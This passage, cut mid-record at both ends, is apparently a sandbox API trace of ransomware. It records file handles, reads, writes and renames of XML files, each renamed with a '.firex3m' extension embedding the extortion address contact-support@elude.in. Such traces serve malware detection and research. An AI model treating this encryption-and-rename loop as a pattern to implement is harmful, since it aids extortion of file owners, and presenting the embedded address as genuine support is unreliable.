ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0219.296] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.296] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0219.296] GetProcessHeap () returned 0x630000 [0219.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0219.296] GetProcessHeap () returned 0x630000 [0219.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa7f0 [0219.296] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.297] ReadFile (in: hFile=0x4e4, lpBuffer=0x74aa9c8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesRead=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.299] GetProcessHeap () returned 0x630000 [0219.299] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0219.299] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.299] WriteFile (in: hFile=0x4e4, lpBuffer=0x74aa7f0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7f0*, lpNumberOfBytesWritten=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.299] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.299] WriteFile (in: hFile=0x4e4, lpBuffer=0x74aa98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa98f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.299] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.299] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.963] CloseHandle (hObject=0x4e4) returned 1 [0220.963] GetProcessHeap () returned 0x630000 [0220.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa7f0 | out: hHeap=0x630000) returned 1 [0220.963] GetProcessHeap () returned 0x630000 [0220.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0220.963] GetProcessHeap () returned 0x630000 [0220.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0220.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.964] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49a82aa2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x46ffd20, dwReserved1=0x74aa9c8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0220.964] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0220.964] Sleep (dwMilliseconds=0x1) [0222.369] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml") returned 1 [0222.369] GetProcessHeap () returned 0x630000 [0222.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0222.370] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0222.371] CloseHandle (hObject=0x4d4) returned 1 [0222.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0222.371] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d54c0 [0225.780] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0225.780] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0225.780] GetProcessHeap () returned 0x630000 [0225.780] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0225.780] GetProcessHeap () returned 0x630000 [0225.780] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0225.780] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.780] ReadFile (in: hFile=0x4d4, lpBuffer=0x74aaba0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesRead=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.783] GetProcessHeap () returned 0x630000 [0225.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0225.783] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.783] WriteFile (in: hFile=0x4d4, lpBuffer=0x74aa9c8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesWritten=0x46fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.783] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.783] WriteFile (in: hFile=0x4d4, lpBuffer=0x74aab67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aab67*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.783] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.783] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.783] CloseHandle (hObject=0x4d4) returned 1 [0225.784] GetProcessHeap () returned 0x630000 [0225.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0225.784] GetProcessHeap () returned 0x630000 [0225.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0225.784] GetProcessHeap () returned 0x630000 [0225.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0225.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c867f08, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x46ffd20, dwReserved1=0x74aaba0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0225.957] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0225.957] Sleep (dwMilliseconds=0x1) [0225.985] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml") returned 1 [0225.986] GetProcessHeap () returned 0x630000 [0225.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0225.986] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.986] CloseHandle (hObject=0x4f0) returned 1 [0225.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.986] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0226.395] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0226.395] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0226.395] GetProcessHeap () returned 0x630000 [0226.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7ce8 [0226.395] GetProcessHeap () returned 0x630000 [0226.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0226.395] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.396] ReadFile (in: hFile=0x4f0, lpBuffer=0x6d7ce8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7ce8*, lpNumberOfBytesRead=0x46fff0c*=0x240, lpOverlapped=0x0) returned 1 [0226.399] GetProcessHeap () returned 0x630000 [0226.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0226.399] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.399] WriteFile (in: hFile=0x4f0, lpBuffer=0x6d6db8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesWritten=0x46fff0c*=0x240, lpOverlapped=0x0) returned 1 [0226.399] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.399] WriteFile (in: hFile=0x4f0, lpBuffer=0x6d6ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6ff7*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.399] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.399] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.399] CloseHandle (hObject=0x4f0) returned 1 [0226.399] GetProcessHeap () returned 0x630000 [0226.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0226.399] GetProcessHeap () returned 0x630000 [0226.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7ce8 | out: hHeap=0x630000) returned 1 [0226.400] GetProcessHeap () returned 0x630000 [0226.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0226.400] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ce37771, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26c, dwReserved0=0x46ffd20, dwReserved1=0x6d7ce8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5200 [0226.400] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.400] Sleep (dwMilliseconds=0x1) [0228.517] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe", len=0x33 | out: pbstr=0x46fff7c*="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe") returned 1 [0228.517] GetProcessHeap () returned 0x630000 [0228.520] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0228.534] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.534] Sleep (dwMilliseconds=0x1) [0230.246] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x46fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml") returned 1 [0230.246] GetProcessHeap () returned 0x630000 [0230.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e8) returned 0x6fe3bb0 [0230.246] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0230.247] CloseHandle (hObject=0x640) returned 1 [0230.247] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0230.247] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0234.566] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0234.566] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0234.566] GetProcessHeap () returned 0x630000 [0234.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0234.566] GetProcessHeap () returned 0x630000 [0234.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4000 [0234.566] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.566] ReadFile (in: hFile=0x640, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x46fff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.569] GetProcessHeap () returned 0x630000 [0234.569] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0234.569] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.569] WriteFile (in: hFile=0x640, lpBuffer=0x6f4000*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4000*, lpNumberOfBytesWritten=0x46fff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.569] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.569] WriteFile (in: hFile=0x640, lpBuffer=0x6f417f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f417f*, 